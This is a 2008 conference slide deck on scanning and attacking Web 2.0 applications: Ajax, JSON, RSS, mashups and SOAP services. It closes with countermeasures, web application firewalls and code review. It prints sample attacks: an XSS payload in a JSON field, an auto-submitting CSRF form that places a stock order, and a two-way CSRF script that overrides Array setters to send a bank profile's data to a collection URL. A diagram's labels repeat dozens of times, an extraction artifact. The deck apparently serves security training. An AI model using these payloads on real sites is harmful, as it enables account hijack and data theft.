Scanning Applications 2.0
Next generation scan, attacks
and tools

Shreeraj Shah

Washington DC
20\textsuperscript{th} Feb 2008
Who Am I?

- **Founder & Director**
  - Blueinfy Solutions Pvt. Ltd. (Brief)
  - SecurityExposure.com
- **Past experience**
  - Net Square, Chase, IBM & Foundstone
- **Interest**
  - Web security research
- **Published research**
  - Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc.
  - Tools – wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc.
  - Advisories - .Net, Java servers etc.
- **Books (Author)**
  - Web 2.0 Security – Defending Ajax, RIA and SOA
  - Hacking Web Services
  - Web Hacking
Agenda

- Web 2.0 State – Trends, Challenges and Architecture
- Web 2.0 Fingerprinting and Discovery
- Crawling Web 2.0 applications
- Web 2.0 Scan – Attacks, Vulns. and Tools
- Web 2.0 Components and Security – RSS, Mashups, Blogs etc.
- SOA – Scanning and Vulnerabilities
- Code Reviews and WAF for Web 2.0
- Conclusion
Web 2.0
Architecture, Changes and Challenges
Moving to Web 2.0
Web 2.0 State

- 80% of companies are investing in Web Services as part of their Web 2.0 initiative (McKinsey 2007 Global Survey)
- By the end of 2007, 30 percent of large companies have some kind of Web 2.0-based business initiative up and running. (Gartner)
- 2008. Web Services or Service-Oriented Architecture (SOA) would surge ahead. (Gartner)
Web 2.0 – Application of Applications
Web 2.0 Application Layers

Browser
- Ajax
- HTML/CSS
- Widget
- Flash / RIA
- JavaScript
- DOM

Structures
- XML
- JSON

Protocols
- JSON-RPC
- REST
- XML-RPC
- SOAP

Server-Side
- Services
- SaaS
- Open APIs

HTTP(S)
Web 2.0 Security State

- Complex architecture and confusion with technologies
- Web 2.0 worms and viruses – Sammy, Yammaner & Spaceflash
- Ajax and JavaScripts – Client side attacks are on the rise (XSS/CSRF)
- Web Services attacks and exploitation
- Flash clients are running with risks
Real Life Cases

WHID 2007-72: Gmail CSRF exploited to hijack a domain
Reported: 30 December 2007
Occurred: 15 December 2007
Classifications:
- Attack Method: Cross Site Request Forgery
- Country: Iran
- Outcome: Defacement
- Outcome: Blackmail

WHID 2007-69: The Orkut XSS Worm
Reported: 19 December 2007
Occurred: 19 December 2007
Classifications:
- Attack Method: Cross Site Scripting (XSS)
- Country: USA
- Outcome: Worm

WHID 2006-41: Making money with MySpace bulletin system!
Reported: 24 July 2006
Occurred: 16 June 2006
Classifications:
- Attack Method: Cross Site Scripting (XSS)
- Attack Method: Abuse of Functionality

WHID 2006-37: MySpace Hack Spreading
Reported: 24 July 2006
Occurred: 16 June 2006
Classifications:
- Attack Method: Cross Site Scripting (XSS)
- Outcome: Worm

WHID 2006-39: Another Google XSS
Reported: 24 July 2006
Occurred: 04 July 2006
Classifications:
- Attack Method: Cross Site Scripting (XSS)
- Outcome: Disclosure Only

WHID 2006-1: Google’s Blogger HRS vulnerability
Reported: 26 February 2006
Occurred: 02 January 2006
Classifications:
- Attack Method: HTTP Response Splitting
- Outcome: Disclosure Only

Source: The Web Hacking Incidents Database
[http://webappsec.org/projects/whid/]
Web 2.0 Application Case

- XSS in Ajax routine was discovered.
- Blog is in fashion for Web 2.0 applications and is having several XSS.
- CSRF was possible through JSON stream (content-type check).
- Information disclosure during JSON fuzzing [Internal information].
- SQL injection over XML pipe.
- Logical bug from client side.
Changes & Challenges

- Application Infrastructure

<table>
<thead>
<tr>
<th>Changing dimension</th>
<th>Web 1.0</th>
<th>Web 2.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>(AI1) Protocols</td>
<td>HTTP &amp; HTTPS</td>
<td>SOAP, XML-RPC, REST etc. over HTTP &amp; HTTPS</td>
</tr>
<tr>
<td>(AI2) Information structures</td>
<td>HTML transfer</td>
<td>XML, JSON, JS Objects etc.</td>
</tr>
<tr>
<td>(AI3) Communication methods</td>
<td>Synchronous Postback Refresh and Redirect</td>
<td>Asynchronous &amp; Cross-domains (proxy)</td>
</tr>
<tr>
<td>(AI4) Information sharing</td>
<td>Single place information (No urge for integration)</td>
<td>Multiple sources (Urge for integrated information platform)</td>
</tr>
</tbody>
</table>
Changes & Challenges

- **Security Threats**

<table>
<thead>
<tr>
<th>Changing dimension</th>
<th>Web 1.0</th>
<th>Web 2.0</th>
</tr>
</thead>
<tbody>
<tr>
<td><em>(T1)</em> Entry points</td>
<td>Structured</td>
<td>Scattered and multiple</td>
</tr>
<tr>
<td><em>(T2)</em> Dependencies</td>
<td>Limited</td>
<td>Multiple technologies</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Information sources</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Protocols</td>
</tr>
<tr>
<td><em>(T3)</em> Vulnerabilities</td>
<td>Server side [Typical injections]</td>
<td>Web services [Payloads]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Client side [XSS &amp; XSRF]</td>
</tr>
<tr>
<td><em>(T4)</em> Exploitation</td>
<td>Server side exploitation</td>
<td>Both server and client side exploitation</td>
</tr>
</tbody>
</table>
### Changes & Challenges

#### Methodology

<table>
<thead>
<tr>
<th>Changing dimension</th>
<th>Web 1.0</th>
<th>Web 2.0</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Footprinting</strong></td>
<td>Typical with &quot;Host&quot; and DNS</td>
<td>Empowered with search</td>
</tr>
<tr>
<td><strong>Discovery</strong></td>
<td>Simple</td>
<td>Difficult with hidden calls</td>
</tr>
<tr>
<td><strong>Enumeration</strong></td>
<td>Structured</td>
<td>Several streams</td>
</tr>
<tr>
<td><strong>Scanning</strong></td>
<td>Structured and simple</td>
<td>Difficult with extensive Ajax</td>
</tr>
<tr>
<td><strong>Automated attacks</strong></td>
<td>Easy after discovery</td>
<td>Difficult with Ajax and web services</td>
</tr>
<tr>
<td><strong>Reverse engineering</strong></td>
<td>On the server-side [Difficult]</td>
<td>Client-side with Ajax &amp; Flash</td>
</tr>
<tr>
<td><strong>Code reviews</strong></td>
<td>Focus on server-side only</td>
<td>Client-side analysis needed</td>
</tr>
</tbody>
</table>
Changes & Challenges

- Countermeasure

<table>
<thead>
<tr>
<th>Changing dimension</th>
<th>Web 1.0</th>
<th>Web 2.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Owner of information</td>
<td>Single place</td>
<td>Multiple places [Mashups &amp; RSS]</td>
</tr>
<tr>
<td>Browser security</td>
<td>Simple DOM usage</td>
<td>Complex DOM usage</td>
</tr>
<tr>
<td>Validations</td>
<td>Server side</td>
<td>Client side [incoming content]</td>
</tr>
<tr>
<td>Logic shift</td>
<td>Only on server</td>
<td>Client side shift</td>
</tr>
<tr>
<td>Secure coding</td>
<td>Structured and single place</td>
<td>Multiple places and scattered</td>
</tr>
</tbody>
</table>
Web 2.0
Fingerprinting & Discovery
Application Server Fingerprinting

- Identifying Web and Application servers.
- Forcing handlers to derive internal plugin or application servers like Tomcat or WebLogic.
- Looking for Axis or any other Web Services container.
- Gives overall idea about infrastructure.
Ajax/RIA call

- Asynchronous JavaScript and XML
Ajax/RIA call

```javascript
function getajax() {
    var http;
    if (window.XMLHttpRequest)
        http = new XMLHttpRequest();
    else if (window.ActiveXObject)
        http = new ActiveXObject("Msvsml2.XMLHTTP");
    if (! http)
        http = new ActiveXObject("Microsoft.XMLHTTP");
    http.open("GET", ".ajax.txt", true);
    http.onreadystatechange = function() {
        if (http.readyState == 4) {
            response = http.responseText;
            document.getElementById('main').innerHTML = response;
        }
    }
    http.send(null);
}
```
Ajax/RIA call

```javascript
function getproto()
    var url = './ajax.txt';
    var target = 'proto';
    var myAjax = new Ajax.Updater(target, url, {method: 'get'});
}
</script>

<a href="javascript:getproto()">Get Ajax Proto</a>
</body>
</html>
```
Fingerprinting

- Ajax based frameworks and identifying technologies.
- Running with what?
  - Atlas
  - GWT
  - Etc.
- Helps in identifying weakness of the application layer.
- Good idea on overall application usage.
Fingerprinting

- Fingerprinting RIA components running with Flash.
- Atlas script discovery and hidden entry points identification.
- Scanning for other frameworks.
RIA fingerprints
Discovery

- Ajax running with various different structures.
- Developers are adding various different calls and methods for it.
- JavaScript can talk with back end sources.
- Mashups application talking with various sources.
- It has significant security impact.
- JSON, Array, JS-Object etc.
- Identifying and Discovery of structures.
Web 2.0
Crawling
Crawling challenges

- Dynamic page creation through JavaScript using Ajax.
- DOM events are managing the application layer.
- DOM is having clear context.
- Protocol driven crawling is not possible without loading page in the browser.
Crawling with Ruby/Watir

```ruby
require 'watir'
include Watir
ie=IE.new
ie.goto("http://localhost/demos/crawl/")
ie.show_links
ie.links[2].click
ie.show_links
ie.links[3].click
ie.show_links
ie.links[4].click
ie.show_links
```

```
<table>
<thead>
<tr>
<th>index</th>
<th>name</th>
<th>id</th>
<th>href</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>text/src</td>
<td></td>
<td><a href="http://localhost/login.asp">http://localhost/login.asp</a></td>
</tr>
<tr>
<td>2</td>
<td>Login</td>
<td></td>
<td>javascript:getnews()</td>
</tr>
<tr>
<td>3</td>
<td>News</td>
<td></td>
<td>javascript:loadmyarea()</td>
</tr>
<tr>
<td>4</td>
<td>Your area</td>
<td></td>
<td>javascript:getprofile()</td>
</tr>
<tr>
<td>5</td>
<td>Profile</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>text/src</td>
<td></td>
<td><a href="http://localhost/login.asp">http://localhost/login.asp</a></td>
</tr>
<tr>
<td>2</td>
<td>Login</td>
<td></td>
<td>javascript:getnews()</td>
</tr>
<tr>
<td>3</td>
<td>News</td>
<td></td>
<td>javascript:loadmyarea()</td>
</tr>
<tr>
<td>4</td>
<td>Your area</td>
<td></td>
<td>javascript:getprofile()</td>
</tr>
<tr>
<td>5</td>
<td>Profile</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
Web 2.0
Scanning & Vulnerabilities
Cross Site Scripting (XSS)

- Traditional
  - Persistent
  - Non-persistent
- DOM driven XSS – Relatively new
- Eval + DOM = Combinational XSS with Web 2.0 applications
Cross Site Scripting (XSS)

- What is different?
  - Ajax calls get the stream.
  - Inject into current DOM using `eval()` or any other means.
  - May rewrite content using `document.write` or `innerHTML` calls.
  - Source of stream can be un-trusted.
  - Cross Domain calls are very common.
Addressing Cross Domain Calls

• Cross Domain calls are very important for Web 2.0 applications.
  – Proxy to talk with cross domain
  – Callback implementation to fetch them
  – Flash via crossdomain.xml

• These are types of bypass and can have security implications

• Source of the information – key!
Cross Domain with proxy

John Smith
212 732-1234

```javascript
function getJSONProfile() {
    var http;
    if (window.XMLHttpRequest) {
        http = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
        http = new ActiveXObject("MSXML2.XMLHTTP");
    } else {
        http = new ActiveXObject("Microsoft.XMLHTTP");
    }
    http.open("GET", ".\proxy.aspx?url=http://blog.example.org/class/ajax-struct/myjson.txt" (1547ms)");
```
Callback Implementation

• Portals like yahoo and google are supporting this.
• Possible to bypass the SOP and make Cross Domain Calls
• Security at stake [Browser layer]
Scenario

Posting to the site [Malicious code]

Vulnerable stream coming through proxy

Hijack

Web Client

8008

Blog

JSON feed

Web Server

proxy

Web app

Web app

DB

attacker

Web app

proxy

Web app

Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()

XSS

Vulnerable stream coming through proxy

Hijack

Web Client

8008

JSON

eval()
XSS with JSON stream

```html
<html>
<body>
<script src="http://demos.com/demos/xss/lib.js">
  <a href="">
  </a>
</body>
</html>
```

```javascript
if (! http){
    http=new ActiveXObject("Microsoft.XMLHTTP");
}
http.open("GET", ".\myjson.txt", true);
http.onreadystatechange = function(){
    if (http.readyState == 4) {
        var response = http.responseText;
        var p = eval("{" + response + "}");
        document.open();
        document.write(p.firstName +"<br>");
        document.write(p.lastName +"<br>");
        document.write(p.phoneNumbers[0]);
        document.close();
    }
}
```

```json
{ 'firstName': 'John', 'lastName': '<script>alert('XSS 2.0');</script>', 'streetAddress': '21 2nd Street', 'city': 'New York', 'state': 'NY', 'postalCode': 10021 }, 'phoneNumbers': [ '212 732-1234', '646 123-4567' ] }
```
XSS with RIA

- Applications running with Flash components
- `getURL` – injection is possible
- SWFIntruder
- Flasm/Flare (http://www.nowrap.de/)
Scanning for XSS

- Scanning Ajax components
- Retrieving all JS include files
  - Part of `<SCRIPT SRC=....>`
- Identifying XHR calls
- Grabbing function
- Mapping function to DOM event
- Scanning code for XSS – look for `eval()` and `document.write()`
Ajax serialization issues

- Ajax processing various information coming from server and third party sources. – XSS opportunities

```javascript
message = {
  from : "john@example.com",
  to : "jerry@victim.com",
  subject : "I am fine",
  body : "Long message here",
  showsubject :
    function(){document.write(this.subject)}
};
```
Ajax serialization issues

- JSON issues
  
  ```json
  {"bookmarks":[{"Link":"www.example.com","Desc":"Interesting link"}]}
  ```

- JS – Array manipulation
  
  ```javascript
  new Array("Laptop", "Thinkpad", "T60", "Used", "900$", "It is great and I have used it for 2 years")
  ```
XSS and JS Exploitation

- JavaScript exploitation – XSS
- Identifying DOM points like `document.write()`
- `Eval()` – another interesting point
- Attack APIs / BeEF tools for exploitation
- Lot can be done by an attacker from session hijacking to key loggers
Countermeasures

- Client side code audit is required.
- XHR calls and DOM utilization needs to be analyzed.
- Content from un-trusted information sources should be filtered out at proxy layer.
- Cross Domain Callback – careful.
- Browser side content validation before consuming into DOM.
Cross Site Request Forgery (CSRF)

- Generic CSRF is with GET / POST
- Forcefully sending request to the target application with cookie replay
- Leveraging tags like
  - IMG
  - SCRIPT
  - IFRAME
- Not abide by SOP or Cross Domain is possible
Cross Site Request Forgery (CSRF)

- What is different with Web 2.0
  - Is it possible to do CSRF to XML stream
  - How?
  - It will be POST hitting the XML processing resources like Web Services
  - JSON CSRF is also possible
  - Interesting check to make against application and Web 2.0 resources
One Way CSRF Scenario
One Way CSRF Scenario

Application User

Laptop

Making buy request (XML)

Authentication Server

Application Components

Trading Application

Buy request is placed

Data
One Way CSRF Scenario
One Way CSRF Scenario
One-Way CSRF

Please Login

Username: shreeraj
Password: ********
User is authenticated!

POST http://localhost/atlas/trade.asmx?mn=login (15ms)

"User is authenticated!"

Order is placed!

POST http://localhost/smrpc/trade.rem (31ms)
One-Way CSRF

```
<html>
<body>
<form name="buy" enctype="text/plain"
action="http://trade.example.com/xmlrpc/trade.rem"
method="POST">
  <input type="hidden" name='<?xml version' value=""1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>
</form>
<script>document.buy.submit();</script>
</body>
</html>
```
Forcing XML

- Splitting XML stream in the form.
- Possible through XForms as well.
- Similar techniques is applicable to JSON as well.
Two-Way CSRF

- One-Way – Just making forceful request.
- Two-Way
  - Reading the data coming from the target
  - May be getting hold onto important information – profile, statements, numbers etc.
  - Is it possible with JSON/XML
Two-Way CSRF
Two-Way CSRF

Welcome to our auction portal!

```javascript
function array() {
    var obj = this;
    var index = 0;
    for (j=0; j<4; j++) {
        obj[index++] setter = spoof;
    }
    function spoof(x){
        send(x.toString());
    }
</script>
<script src="http://bank.example.org/profile.aspx">
Welcome to our auction portal!
</script>
</body>
</html>
```
Two-Way CSRF

- Application is serving various streams like – JSON, JS-Object, Array etc.

```
["ACT789023452","Rob","Smith","rob@example.com"]
```
Two-Way CSRF

- Attacker page can make cross domain request using SCRIPT (firefox)
- Following code can overload the array stream.

```javascript
function Array()
{
    var obj = this;
    var index = 0;
    for(j=0;j<4;j++){
        obj[index++] setter = spoof; }
} function spoof(x){
    send(x.toString()); }
```
Two-Way CSRF

```javascript
function send(data)
{
    var http;
    if(window.XMLHttpRequest)
        http = new XMLHttpRequest();
    else if (window.ActiveXObject)
        http=new ActiveXObject("Msxml2.XMLHTTP");
    if (!http)
        http=new ActiveXObject("Microsoft.XMLHTTP");
    http.open("GET", "/collect.aspx?data="+data, true);
    http.send(null);
}

function array()
{
    var obj = this;
    var index = 0;
    for(j=0;j<4;j++)
        obj[index++] = spreco;
}

function spreco(x)
{
    send(x.toString());
}
</script>
<script src="http://bank.example.org/profile.aspx">
Welcome to our auction portal!
</body>"
Two-Way CSRF

- It is possible to overload these objects.
- Reading and sending to cross domain possible.
- Opens up two way channel for an attacker.
- Web 2.0 streams are vulnerable to these attacks.
Countermeasure

- **Server Side Checks**
  - Check for client’s content-type.
  - XHR calls – xml/application.
  - Native calls – text/html.
  - Filtering is possible on it.

- **Client Side Checks**
  - Stream can be started and terminated by /* or any predefined characters.
  - Client can remove them before injecting to DOM.
Web 2.0
Components Security
Web 2.0 Components

• There are various other components for Web 2.0 Applications
  – RSS feeds
  – Mashups
  – Widgets
  – Blogs
  – Flash based components
RSS feeds

- RSS feeds coming into application from various un-trusted sources.
- Feed readers are part of 2.0 Applications.
- Vulnerable to XSS.
- Malicious code can be executed on the browser.
- Several vulnerabilities reported.
Mashups

• API exposure for Mashup supplier application.
• Cross Domain access by callback may cause a security breach.
• Confidential information sharing with Mashup application handling needs to be checked – storing password and sending it across (SSL)
• Mashup application can be man in the middle so can’t trust or must be trusted one.
Widgets/Gadgets

- DOM sharing model can cause many security issues.
- One widget can change information on another widget – possible.
- CSRF injection through widget code.
- Event hijacking is possible – Common DOM
- iFrame – for widget is a MUST
Blogs

- Blogs are common to Web 2.0 applications.
- Many applications are plugging third party blogs.
- One needs to check these blogs – XSS is common with blogging applications.
- Exceptions and Search are common XSS points.
SOA and Web Services
- Backbone for Web 2.0
SOA Stack

Presentation Stack
XML, JSON, JS-*

Security Stack
WS-Security

Discovery Stack
UDDI, DISCO

Access Stack
WSDL, SOAP, XML-RPC, REST

Transport Stack
HTTP, HTTPS

Ajax
RIA (Flash)
HTML / JS / DOM
Scanning SOA

Blackbox
- Footprinting & Discovery
- Enumeration & Profiling
- Vulnerability Detection

Insecure Web Services

Whitebox
- Code / Config Scanning

Secure Coding
- Web Services Firewall
- Secure Web Services

Defense & Countermeasure
Footprinting and Discovery

• Objective: Discovering Web Services running on application domain.

• Methods
  – Primary discovery
    • Crawling and spidering
    • Script analysis and page scrubbing
    • Traffic analysis
  – Secondary discovery
    • Search engine queries
    • UDDI scanning
Primary Discovery

- Crawling the application and mapping file extensions and directory structures, like ".asmx"
- Page scrubbing – scanning for paths and resources in the pages, like atlas back end call to Web Services.
- Recording traffic while browsing and spidering, look for XML based traffic – leads to XML-RPC, REST, SOAP, JSON calls.
Getting from page

Command Prompt

---Scanning for scripts---
http://ajax.example.com/atlas/ws.js
/atlas/WebResource.axd?d=Z_i7iw5U0RHeEg66a7EfrKgWutXg0Ru70bZ_kmMl1Emf8XUV5HuQZ0Wq1KyopUfZRLNu7ISfwsdA1iGuIFIS1g0QZ61UMXfSmCtws5Dq1t=63289429952000000
/atlas/WebResource.axd?d=Z_i7iw5U0RHeEg66a7EfrKgWutXg0Ru70bZ_kmMl1Emf8XUV5HuQZ0Wq1KyopUfZRLNu7ISfwsdA1iGuIFIS9DQZBjxig6gZFMKMiLgL1t=63289429952000000

---Enumerating javascripts---
http://ajax.example.com/atlas/ws.js
Primary Discovery

- Page scanning with grep – Look in JavaScripts for URLs, Paths etc.
- Crawling – Simple!
- Scanning for Atlas references – Framework creates stubs and proxy. – scanweb2.0/scanatlas
- Urlgrep can be used as well.
Secondary Discovery

- Searching UDDI server for Web Services running on particular domain.
  - Three tactics for it – business, services or tModel.
- Running queries against search engines like Google or MSN with extra directives like “inurl” or “filetype”
  - Look for “asmx”
- wsScanner – Discovery!
Fetching from search engines

- Google Discovery
- Vulnerability Scan
- WS Fuzzer
- UDDI Scan

Google API Key

Key: [redacted]

Web Services Fetching

Domain/Pattern: amazon.com

Type: Domain

Results:

- http://webservices.amazon.com/AWSECommerceService/AWSECommerceService.wsdl
Enumerating and Profiling

- Fingerprinting .Net framework and Client side technologies – Dojo or Atlas …

- Scanning WSDL
  - Looking for Methods
  - Collecting In/Out parameters
  - Security implementations
  - Binding points
  - Method signature mapping
Profiling / Invoking - Services

Black Hat Briefings

Demo
Scanning strategies

- Dynamic proxy creation and scanning.
- Auto auditing for various vectors.
- Fuzzing Web Services streams – XML or JSON
- Response analysis is the key
  - Look for fault code nodes
  - Enumerating fault strings
  - Dissecting XML message and finding bits
  - Hidden error messages in JSON
Injecting fault
Fuzzing XML/JSON

[Image of a software interface demonstrating fuzzing.]
Injection Flaws

- Web Services methods are consuming parameters coming from end users.
- It is possible to inject malicious characters into the stream.
- It can break Web Services code and send faultstring back to an attacker.
- Various injections possible – SQL and XPATH
Malicious File Execution

- Malicious command can be injected through the parameter.
- WS supports attachments as well and that can lead to uploading a file.
- This can give remote command execution capability to the attacker.
Insecure Direct Object Reference

- Injecting characters to break file system sequences.
- Faultcode spits out internal information if not protected.
- Customized error shows the file references.
- Access to internal file and full traversal to directories
- Inspecting methods and parameters in the profile stage can help.
Information Leakage and Improper Error Handling

• SOAP based Web Services throws faultcode and faultstrings back to the client.
• Information can be embedded in it.
• It try/catch is not well implemented then default error from .NET framework.
• Published vulnerabilities with leakage information providing references to file, ldap, etc.
Failure to Restrict URL Access

- In Web Services instead of URL – methods.
- WSDL scanning and disclosures can weaken the Services.
- Some internal methods are out in public.
- Admin APIs can be accessed.
- These internal methods can be used to attack Web Services.
Defending Web 2.0 with WAF & Code Review
Code Analysis for Web 2.0

- Scanning the code base.
- Identifying linkages.
- Method signatures and inputs.
- Looking for various patterns for SQL, LDAP, XPATH, File access etc.
- Checking validation on them.
- Code walking and tracing the base - Key
Content filtering with 2.0

- Regular firewall will not work
- Content filtering on HTTP will not work either since it is SOAP/JSON over HTTP/HTTPS
- SOAP/JSON level filtering and monitoring would require
- ISAPI level filtering is essential
- SOAP/JSON content filtering through IHttpModule
HTTP Stack for .Net (IIS6/7)

- IHttpModule
- IHttpApplicationFactory
- HttpApplication
- HttpRuntime
- HttpHandlerFactory
- Handler

Web Application Firewall & IDS
IHTTPModule based Firewall

- Code walkthrough – Events and Hooks
- Loading the DLL
- Setting up the rules
- Up and running!
Conclusion

• Web 2.0 bringing new challenges
• Needs to adopt new methodologies for scanning
• Attacks and entry points are scattered and multiple
• Ajax and SOA are key components
• WAF and Code review are important aspects for Web 2.0 defense
Thanks!

http://shreeraj.blogspot.com
shreeraj@blueinfy.com
http://www.blueinfy.com